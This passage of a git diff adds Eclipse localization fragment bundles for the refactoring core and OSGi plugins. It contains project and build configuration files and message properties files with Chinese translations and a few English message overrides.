b/i18n/org.eclipse.ltk.core.refactoring.nl_en/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_en/src/org/eclipse/ltk/internal/core/refactoring/RefactoringCoreMessages_en.properties b/i18n/org.eclipse.ltk.core.refactoring.nl_en/src/org/eclipse/ltk/internal/core/refactoring/RefactoringCoreMessages_en.properties new file mode 100644 index 0000000..b7d0b7f --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_en/src/org/eclipse/ltk/internal/core/refactoring/RefactoringCoreMessages_en.properties @@ -0,0 +1,2 @@ +# 2013-5-8 \u4fee\u6539 +Resources_outOfSync=Resource ''{0}'' is out of sync with the file system. Please Refresh the project and then retry. diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.classpath b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.project b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.project new file mode 100644 index 0000000..28dd808 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ltk.core.refactoring.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..7eebda2 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ltk.core.refactoring Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.ltk.core.refactoring.nl_zh ;singleton=true +Bundle-Version: 8.0.2.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ltk.core.refactoring +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_zh/build.properties b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_zh/src/org/eclipse/ltk/internal/core/refactoring/RefactoringCoreMessages_zh.properties b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/src/org/eclipse/ltk/internal/core/refactoring/RefactoringCoreMessages_zh.properties new file mode 100644 index 0000000..7fe0d61 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_zh/src/org/eclipse/ltk/internal/core/refactoring/RefactoringCoreMessages_zh.properties @@ -0,0 +1,124 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ValidateEditChecker_failed=\u5c0f\u7ec4\u63d0\u4f9b\u7a0b\u5e8f\u62d2\u7edd\u6587\u4ef6\u4fee\u6539\u3002 +Changes_validateEdit=\u5c0f\u7ec4\u63d0\u4f9b\u7a0b\u5e8f\u62d2\u7edd\u6587\u4ef6\u4fee\u6539\u3002 +RefactoringCorePlugin_internal_error=\u5185\u90e8\u9519\u8bef +RefactoringCorePlugin_creation_error=\u9519\u8bef\uff1a\u65e0\u6cd5\u6839\u636e\u6269\u5c55\u70b9\u201c{0}\u201d\u7684\u6269\u5c55\u201c{1}\u201d\u6765\u521b\u5efa\u91cd\u6784\u521b\u5efa\u7a0b\u5e8f\u3002 +RefactoringSessionReader_no_session=\u91cd\u6784\u5386\u53f2\u8bb0\u5f55\u4e0d\u5305\u542b\u4f1a\u8bdd\u3002 +ResourceChange_error_does_not_exist=\u201c{0}\u201d\u4e0d\u518d\u5b58\u5728\u3002 +ResourceChange_error_has_been_modified=\u81ea\u4ece\u6267\u884c\u91cd\u6784\u4ee5\u6765\u5df2\u7ecf\u4fee\u6539\u4e86 {0}\u3002 +ResourceChange_error_no_input=\u672a\u63d0\u4f9b\u8f93\u5165\u5143\u7d20 +ResourceChange_error_read_only={0} \u662f\u53ea\u8bfb\u7684\u3002 +ResourceChange_error_read_only_state_changed=\u5df2\u66f4\u6539\u4e86 {0} \u7684\u53ea\u8bfb\u72b6\u6001\u3002 +ResourceChange_error_unsaved=\u672a\u5305\u542b {0}\u3002 +RefactoringCorePlugin_listener_removed=\u7531\u4e8e\u4e0b\u5217\u5f02\u5e38\u800c\u9664\u53bb\u4e86\u4fa6\u542c\u5668 +RefactoringCorePlugin_duplicate_warning=\u8b66\u544a\uff1a\u5bf9\u4e8e\u6269\u5c55\u70b9\u201c{1}\u201d\uff0c\u5b58\u5728\u6807\u8bc6\u4e3a\u201c{0}\u201d\u7684\u91cd\u590d\u6269\u5c55 +RefactoringCorePlugin_missing_attribute=\u9519\u8bef\uff1a\u6269\u5c55\u70b9\u201c{0}\u201d\u5305\u542b\u7f3a\u5c11\u5c5e\u6027\u201c{1}\u201d\u7684\u6269\u5c55 +RefactoringCorePlugin_participant_removed=\u7531\u4e8e\u4e0b\u5217\u5f02\u5e38\u800c\u9664\u53bb\u4e86\u53c2\u4e0e\u8005\u201c{0}\u201d +RefactoringCorePlugin_missing_class_attribute=\u9519\u8bef\uff1a\u6839\u636e\u6269\u5c55\u70b9\u201c{0}\u201d\u7684\u6269\u5c55\u201c{1}\u201d\u6dfb\u52a0\u7684\u91cd\u6784\u521b\u5efa\u7a0b\u5e8f\u6ca1\u6709\u201c{2}\u201d\u5c5e\u6027\u3002 +Resources_outOfSyncResources=\u4e00\u4e9b\u8d44\u6e90\u4e0d\u540c\u6b65 +Resources_modifiedResources=\u6709\u4e00\u4e9b\u5df2\u4fee\u6539\u7684\u8d44\u6e90 +Resources_fileModified=\u81ea\u4ece\u8be5\u64cd\u4f5c\u5f00\u59cb\u4ee5\u6765\u5df2\u4fee\u6539\u6587\u4ef6\u201c{0}\u201d +NullChange_name=\u65e0\u64cd\u4f5c\u66f4\u6539 +TextChanges_error_existing=\u6587\u4ef6\u201c{0}\u201d\u5728\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u5df2\u5b58\u5728\u3002 +TextChanges_error_not_existing=\u201c{0}\u201d\u4e0d\u518d\u5b58\u5728\u3002 +TextChanges_error_content_changed=\u201c{0}\u201d\u7684\u5185\u5bb9\u5df2\u66f4\u6539\u3002 +TextChanges_error_read_only=\u6587\u4ef6\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002 +TextChanges_error_outOfSync=\u6587\u4ef6\u201c{0}\u201d\u4e0e\u5e95\u5c42\u6587\u4ef6\u7cfb\u7edf\u4e0d\u540c\u6b65\u3002 +TextChanges_error_document_content_changed=\u6587\u6863\u7684\u5185\u5bb9\u5df2\u66f4\u6539\u3002 +BufferValidationState_no_character_encoding=\u4e0d\u80fd\u786e\u5b9a\u201c{0}\u201d\u7684\u5b57\u7b26\u7f16\u7801\u3002 +BufferValidationState_character_encoding_changed=\u201c{0}\u201d\u7684\u5b57\u7b26\u7f16\u7801\u5df2\u66f4\u6539\u3002 +CheckConditionContext_error_checker_exists=\u7c7b\u578b\u4e3a\u201c{0}\u201d\u7684\u68c0\u67e5\u7a0b\u5e8f\u5df2\u5b58\u5728\u3002 +CompositeChange_performingChangesTask_name=\u6b63\u5728\u6267\u884c\u66f4\u6539... +ProcessorBasedRefactoring_initial_conditions=\u6b63\u5728\u68c0\u67e5\u524d\u7f6e\u6761\u4ef6... +ProcessorBasedRefactoring_check_condition_participant_failed=\u53c2\u4e0e\u8005\u201c{0}\u201d\u5bfc\u81f4\u4e86\u5185\u90e8\u9519\u8bef\uff0c\u6b64\u91cd\u6784\u5df2\u5c06\u8be5\u53c2\u4e0e\u8005\u7981\u7528\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +ProcessorBasedRefactoring_final_conditions=\u6b63\u5728\u68c0\u67e5\u524d\u7f6e\u6761\u4ef6... +ProcessorBasedRefactoring_create_change=\u6b63\u5728\u521b\u5efa\u5de5\u4f5c\u7a7a\u95f4\u4fee\u6539... +ProcessorBasedRefactoring_prechange_participants_removed=\u5c06\u9664\u53bb\u751f\u6210 preChange \u64cd\u4f5c\u7684\u6240\u6709\u53c2\u4e0e\u8005\uff0c\u539f\u56e0\u662f\u6267\u884c\u4e3b\u8981\u91cd\u6784\u65f6\u629b\u51fa\u5f02\u5e38\u3002 +ParticipantDescriptor_error_id_missing=\u7981\u7528\u91cd\u6784\u53c2\u4e0e\u8005\uff1a\u7f3a\u5c11\u6807\u8bc6\u5c5e\u6027 +ParticipantDescriptor_error_name_missing=\u7981\u7528\u91cd\u6784\u53c2\u4e0e\u8005\uff1a\u91cd\u6784\u53c2\u4e0e\u8005\u201c{0}\u201d\u7f3a\u5c11\u201cname\u201d\u5c5e\u6027\u3002 +ParticipantDescriptor_error_class_missing=\u7981\u7528\u91cd\u6784\u53c2\u4e0e\u8005\uff1a\u91cd\u6784\u53c2\u4e0e\u8005\u201c{0}\u201d\u7f3a\u5c11\u201cclass\u201d\u5c5e\u6027\u3002 +ParticipantExtensionPoint_participant_removed=\u53c2\u4e0e\u8005\u201c{0}\u201d\u9020\u6210\u4e86\u95ee\u9898\uff0c\u5df2\u4ece\u7cfb\u7edf\u4e2d\u5c06\u5b83\u9664\u53bb\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +ParticipantExtensionPoint_wrong_type=\u53c2\u4e0e\u8005\u201c{0}\u201d\u672a\u6269\u5c55\u5fc5\u9700\u7684\u7c7b\u578b\u201c{1}\u201d\u3002 +RefactoringUndoContext_label=\u91cd\u6784\u64a4\u9500\u4e0a\u4e0b\u6587 +Refactoring_execute_label=\u91cd\u6784 \uff0d \u6267\u884c +RenameResourceChange_name=\u5c06\u201c{0}\u201d\u91cd\u547d\u540d\u4e3a\u201c{1}\u201d +RenameResourceChange_progress_description=\u91cd\u547d\u540d\u8d44\u6e90 +RenameResourceDescriptor_error_name_not_defined=\u65e0\u6cd5\u6267\u884c\u91cd\u547d\u540d\u8d44\u6e90\u91cd\u6784\uff0c\u539f\u56e0\u662f\u65b0\u540d\u79f0\u65e0\u6548 +RenameResourceDescriptor_error_path_not_set=\u65e0\u6cd5\u6267\u884c\u91cd\u547d\u540d\u8d44\u6e90\u91cd\u6784\uff0c\u539f\u56e0\u662f\u672a\u8bbe\u7f6e\u8d44\u6e90\u8def\u5f84 +RenameResourceDescriptor_error_resource_not_existing=\u65e0\u6cd5\u6267\u884c\u91cd\u547d\u540d\u8d44\u6e90\u91cd\u6784\uff0c\u539f\u56e0\u662f\u8d44\u6e90\u201c{0}\u201d\u4e0d\u5b58\u5728 +RenameResourceDescriptor_unnamed_descriptor=\u4e0d\u9002\u7528 +RenameResourceProcessor_comment=\u5c06\u8d44\u6e90\u201c{0}\u201d\u91cd\u547d\u540d\u4e3a\u201c{1}\u201d +RenameResourceProcessor_description=\u91cd\u547d\u540d\u8d44\u6e90\u201c{0}\u201d +RenameResourceProcessor_error_invalid_name=\u5bf9\u4e8e\u6587\u4ef6\u6216\u6587\u4ef6\u5939\uff0c\u8fd9\u662f\u65e0\u6548\u540d\u79f0 +RenameResourceProcessor_error_no_parent=\u5185\u90e8\u9519\u8bef +RenameResourceProcessor_error_resource_already_exists=\u5177\u6709\u6b64\u540d\u79f0\u7684\u6587\u4ef6\u6216\u6587\u4ef6\u5939\u5df2\u5b58\u5728 +RenameResourceProcessor_processor_name=\u91cd\u547d\u540d\u8d44\u6e90 +Refactoring_undo_label=\u91cd\u6784 \uff0d \u64a4\u9500 +Refactoring_redo_label=\u91cd\u6784 \uff0d \u91cd\u505a +UndoableOperation2ChangeAdapter_error_message=\u66f4\u6539\u6267\u884c\u5931\u8d25 +UndoableOperation2ChangeAdapter_no_undo_available=\u6ca1\u6709\u63d0\u4f9b\u64a4\u9500 +UndoableOperation2ChangeAdapter_no_redo_available=\u6ca1\u6709\u63d0\u4f9b\u91cd\u505a +UnknownRefactoringDescriptor_cannot_create_refactoring=\u65e0\u6cd5\u6839\u636e\u672a\u77e5\u7684\u91cd\u6784\u63cf\u8ff0\u7b26\u6765\u521b\u5efa\u91cd\u6784\u3002 +UndoManager2_no_change=\u6700\u9876\u90e8\u53ef\u64a4\u9500\u7684\u64cd\u4f5c\u5e76\u4e0d\u8868\u793a\u91cd\u6784\u66f4\u6539 +RefactoringHistoryService_retrieving_history=\u6b63\u5728\u68c0\u7d22\u91cd\u6784\u5386\u53f2\u8bb0\u5f55... +RefactoringHistoryManager_non_string_argument=\u952e\u201c{0}\u201d\u4e0d\u662f\u5b57\u7b26\u4e32 +RefactoringHistoryManager_error_reading_file=\u8bfb\u53d6\u6587\u4ef6\u201c{0}\u201d\u65f6\u51fa\u9519 +RefactoringHistoryManager_non_string_value=\u952e\u201c{0}\u201d\u7684\u503c\u4e0d\u662f\u5b57\u7b26\u4e32 +RefactoringHistoryManager_whitespace_argument_key=\u53c2\u6570\u6620\u5c04\u5305\u542b\u5e26\u7a7a\u683c\u7684\u53c2\u6570\u952e +RefactoringHistoryService_updating_history=\u6b63\u5728\u66f4\u65b0\u91cd\u6784\u5386\u53f2\u8bb0\u5f55... +RefactoringHistoryManager_empty_argument=\u53c2\u6570\u6620\u5c04\u5305\u542b\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u952e +RefactoringHistoryService_resolving_information=\u6b63\u5728\u89e3\u6790\u91cd\u6784\u4fe1\u606f... +RefactoringHistoryService_deleting_refactorings=\u6b63\u5728\u4ece\u5386\u53f2\u8bb0\u5f55\u4e2d\u5220\u9664\u91cd\u6784... +RefactoringSessionReader_unsupported_version_information=\u91cd\u6784\u5386\u53f2\u8bb0\u5f55\u7248\u672c\u4e0d\u53d7\u652f\u6301\u3002 +RefactoringSessionReader_missing_version_information=\u5728\u8bfb\u53d6\u91cd\u6784\u5386\u53f2\u8bb0\u5f55\u65f6\uff0c\u7f3a\u5c11\u7248\u672c\u4fe1\u606f\u3002 +RefactoringSessionReader_invalid_values_in_xml=xml \u6587\u4ef6\u5305\u542b\u65e0\u6548\u503c +RefactoringSessionReader_invalid_contents_at=\u7b2c {0} \u884c\u7b2c {1} \u5217\u7684\u5185\u5bb9\u65e0\u6548 +PerformRefactoringHistoryOperation_perform_refactorings=\u6b63\u5728\u6267\u884c\u91cd\u6784... +DefaultRefactoringDescriptor_cannot_create_refactoring=\u4e0d\u80fd\u6839\u636e\u7f3a\u7701\u91cd\u6784\u63cf\u8ff0\u7b26\u6765\u521b\u5efa\u91cd\u6784 +DeleteResourceChange_deleting=\u6b63\u5728\u5220\u9664\u8d44\u6e90... +DeleteResourceChange_error_resource_not_exists=\u65e0\u6cd5\u5220\u9664\u8d44\u6e90\u3002\u8d44\u6e90\u4e0d\u5b58\u5728\u3002 +DeleteResourceChange_name=\u5220\u9664\u201c{0}\u201d +DeleteResourcesDescriptor_error_delete_not_exists=\u8981\u5220\u9664\u7684\u8d44\u6e90\u201c{0}\u201d\u4e0d\u5b58\u5728\u3002 +DeleteResourcesProcessor_change_name=\u5220\u9664\u66f4\u6539 +DeleteResourcesProcessor_create_task=\u6b63\u5728\u521b\u5efa\u6682\u6302\u7684\u5220\u9664... +DeleteResourcesProcessor_delete_error_mixed_types=\u65e0\u6cd5\u5728\u540c\u4e00\u64cd\u4f5c\u4e2d\u5220\u9664\u9879\u76ee\u548c\u5176\u4ed6\u8d44\u6e90\u3002 +DeleteResourcesProcessor_delete_error_phantom=\u65e0\u6cd5\u5220\u9664\u5e7b\u50cf\u8d44\u6e90\u201c{0}\u201d\u3002 +DeleteResourcesProcessor_delete_error_read_only=\u65e0\u6cd5\u5220\u9664\u53ea\u8bfb\u8d44\u6e90\u201c{0}\u201d\u7684\u5185\u5bb9\u3002 +DeleteResourcesProcessor_description_multi=\u5220\u9664 {0} \u4e2a\u8d44\u6e90 +DeleteResourcesProcessor_description_single=\u5220\u9664\u8d44\u6e90\u201c{0}\u201d +DeleteResourcesProcessor_processor_name=\u5220\u9664\u8d44\u6e90 +DeleteResourcesProcessor_warning_out_of_sync_container=\u201c{0}\u201d\u5305\u542b\u4e0d\u540c\u6b65\u7684\u8d44\u6e90\u3002\u8bf7\u6309\u201c\u7ee7\u7eed\u201d\u4ee5\u5f3a\u5236\u5220\u9664\u3002 +DeleteResourcesProcessor_warning_out_of_sync_file=\u201c{0}\u201d\u4e0d\u540c\u6b65\u3002\u8bf7\u6309\u201c\u7ee7\u7eed\u201d\u4ee5\u5f3a\u5236\u5220\u9664\u3002 +DeleteResourcesProcessor_warning_unsaved_file=\u6587\u4ef6\u201c{0}\u201d\u5177\u6709\u672a\u4fdd\u5b58\u7684\u66f4\u6539\u3002 +CreateChangeOperation_unknown_Refactoring=\u672a\u77e5\u91cd\u6784 +FolderDescription_NewFolderProgress=\u6b63\u5728\u521b\u5efa\u65b0\u6587\u4ef6\u5939... +FolderDescription_SavingUndoInfoProgress=\u6b63\u5728\u4fdd\u5b58\u6587\u4ef6\u5939\u4fe1\u606f... +FileDescription_ContentsCouldNotBeRestored=\u610f\u5916\u9519\u8bef\u3002\u672a\u80fd\u5728\u64a4\u9500\uff0f\u91cd\u505a\u65f6\u4ece\u672c\u5730\u5386\u53f2\u8bb0\u5f55\u590d\u539f\u6587\u4ef6\u5185\u5bb9\u3002 +FileDescription_NewFileProgress=\u6b63\u5728\u521b\u5efa\u65b0\u6587\u4ef6... +UndoDeleteResourceChange_change_name=\u590d\u539f\u201c{0}\u201d +UndoDeleteResourceChange_cannot_restore=\u6ca1\u6709\u8db3\u591f\u7684\u4fe1\u606f\u6765\u521b\u5efa\u6216\u590d\u539f\u201c{0}\u201d\u3002 +UndoDeleteResourceChange_already_exists=\u65e0\u6cd5\u521b\u5efa\u6216\u590d\u539f\u201c{0}\u201d\uff0c\u539f\u56e0\u662f\u5b83\u5df2\u5b58\u5728\u3002 +UndoDeleteResourceChange_revert_resource=\u8fd8\u539f\u201c{0}\u201d +MoveResourceChange_name=\u5c06\u8d44\u6e90\u201c{0}\u201d\u79fb\u81f3\u201c{1}\u201d +MoveResourceChange_progress_delete_destination=\u5220\u9664\u76ee\u6807\u4f4d\u7f6e\u7684\u8d44\u6e90 +MoveResourceChange_progress_restore_source=\u590d\u539f\u6e90\u4f4d\u7f6e\u7684\u8d44\u6e90 +MoveResourcesDescriptor_error_destination_not_exists=\u76ee\u6807\u5bb9\u5668\u201c{0}\u201d\u4e0d\u5b58\u5728 +MoveResourcesDescriptor_error_destination_not_set=\u65e0\u6cd5\u6267\u884c\u79fb\u52a8\u8d44\u6e90\u91cd\u6784\uff0c\u539f\u56e0\u662f\u672a\u8bbe\u7f6e\u76ee\u6807\u8def\u5f84 +MoveResourcesDescriptor_error_empty_array=\u4ec5\u5141\u8bb8\u5927\u5c0f\u5927\u4e8e 0 \u7684\u6570\u7ec4 +MoveResourcesDescriptor_error_moved_contains_null=\u65e0\u6cd5\u6267\u884c\u79fb\u52a8\u8d44\u6e90\u91cd\u6784\uff0c\u539f\u56e0\u662f\u8981\u79fb\u52a8\u7684\u8def\u5f84\u4e3a\u7a7a +MoveResourcesDescriptor_error_moved_not_exists=\u79fb\u52a8\u7684\u8d44\u6e90\u201c{0}\u201d\u4e0d\u5b58\u5728 +MoveResourcesDescriptor_error_moved_not_file_or_folder=\u79fb\u52a8\u7684\u8d44\u6e90\u201c{0}\u201d\u4e0d\u662f\u6587\u4ef6\uff0c\u4e5f\u4e0d\u662f\u6587\u4ef6\u5939 +MoveResourcesDescriptor_error_moved_not_set=\u65e0\u6cd5\u6267\u884c\u79fb\u52a8\u8d44\u6e90\u91cd\u6784\uff0c\u539f\u56e0\u662f\u672a\u8bbe\u7f6e\u8981\u79fb\u52a8\u7684\u8def\u5f84 +MoveResourcesDescriptor_unnamed_descriptor=\u4e0d\u9002\u7528 +MoveResourcesProcessor_warning_destination_already_exists=\u201c{0}\u201d\u5df2\u5b58\u5728\u3002\u5b83\u5c06\u88ab\u66ff\u6362\u3002 +MoveResourceProcessor_comment=\u5c06\u201c{0}\u201d\u79fb\u81f3\u201c{1}\u201d +MoveResourceProcessor_description_multiple=\u5c06 {0} \u4e2a\u8d44\u6e90\u79fb\u81f3\u201c{1}\u201d +MoveResourceProcessor_description_single=\u5c06\u201c{0}\u201d\u79fb\u81f3\u201c{1}\u201d +MoveResourceProcessor_destination_inside_moved=\u76ee\u6807\u5728\u79fb\u52a8\u7684\u8d44\u6e90\u201c{0}\u201d\u5185\u90e8 +MoveResourceProcessor_destination_same_as_moved=\u76ee\u6807\u5305\u542b\u8981\u79fb\u52a8\u7684\u8d44\u6e90 +MoveResourceProcessor_error_destination_not_exists=\u76ee\u6807\u4e0d\u5b58\u5728 +MoveResourceProcessor_error_invalid_destination=\u7236\u4ee3\u65e0\u6548 +MoveResourceProcessor_processor_name=\u79fb\u52a8\u8d44\u6e90 + +# 2013-5-8 \u4fee\u6539 +Resources_outOfSync=\u8d44\u6e90\u201c{0}\u201d\u4e0e\u6587\u4ef6\u7cfb\u7edf\u4e0d\u540c\u6b65\uff0c\u8bf7\u5237\u65b0\u6b64\u9879\u76ee\u540e\u91cd\u8bd5\u3002 diff --git a/i18n/org.eclipse.osgi.nl_en/.classpath b/i18n/org.eclipse.osgi.nl_en/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_en/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.osgi.nl_en/.project b/i18n/org.eclipse.osgi.nl_en/.project new file mode 100644 index 0000000..0586d58 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_en/.project @@ -0,0 +1,28 @@ + + + org.eclipse.osgi.nl_en + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.osgi.nl_en/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.osgi.nl_en/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_en/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.osgi.nl_en/META-INF/MANIFEST.MF b/i18n/org.eclipse.osgi.nl_en/META-INF/MANIFEST.MF new file mode 100644 index 0000000..1c5d93c --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_en/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.osgi +Bundle-SymbolicName: org.eclipse.osgi.nl_en;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.osgi +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.osgi.nl_en/build.properties b/i18n/org.eclipse.osgi.nl_en/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_en/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.osgi.nl_en/src/org/eclipse/core/runtime/internal/adaptor/EclipseAdaptorMessages_en.properties b/i18n/org.eclipse.osgi.nl_en/src/org/eclipse/core/runtime/internal/adaptor/EclipseAdaptorMessages_en.properties new file mode 100644 index 0000000..bca366b --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_en/src/org/eclipse/core/runtime/internal/adaptor/EclipseAdaptorMessages_en.properties @@ -0,0 +1,4 @@ +ECLIPSE_STARTUP_ERROR_CHECK_LOG=An error occurred when the program is running, Please try the following solution: \n\ +1, Re-install the Java Runtime Environment (JRE) 1.6 or later; \n\ +2, Re-extract package that you have downloaded. \n\n\ +If the problem still persists, please provide the following log files to Heartsome technical support: \n {0} diff --git a/i18n/org.eclipse.osgi.nl_zh/.classpath b/i18n/org.eclipse.osgi.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.osgi.nl_zh/.project b/i18n/org.eclipse.osgi.nl_zh/.project new file mode 100644 index 0000000..6751837 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.osgi.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.osgi.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.osgi.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.osgi.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.osgi.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..1d2ff49 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.osgi Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.osgi.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.osgi +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.osgi.nl_zh/build.properties b/i18n/org.eclipse.osgi.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/core/runtime/internal/adaptor/EclipseAdaptorMessages_zh.properties b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/core/runtime/internal/adaptor/EclipseAdaptorMessages_zh.properties new file mode 100644 index 0000000..81f6cda --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/core/runtime/internal/adaptor/EclipseAdaptorMessages_zh.properties @@ -0,0 +1,71 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ECLIPSE_ADAPTOR_ERROR_XML_SERVICE=\u6ce8\u518c XML \u89e3\u6790\u5668\u670d\u52a1\u65f6\u51fa\u9519\u3002 +ECLIPSE_ADAPTOR_RUNTIME_ERROR=\u53d1\u751f\u4e86\u610f\u5916\u8fd0\u884c\u65f6\u9519\u8bef\u3002 +ECLIPSE_ADAPTOR_EXITING=\u5e94\u7528\u7a0b\u5e8f\u5c06\u7ec8\u6b62\u3002 +ECLIPSE_STARTUP_BUNDLE_NOT_FOUND=\u627e\u4e0d\u5230 bundle {0}\u3002 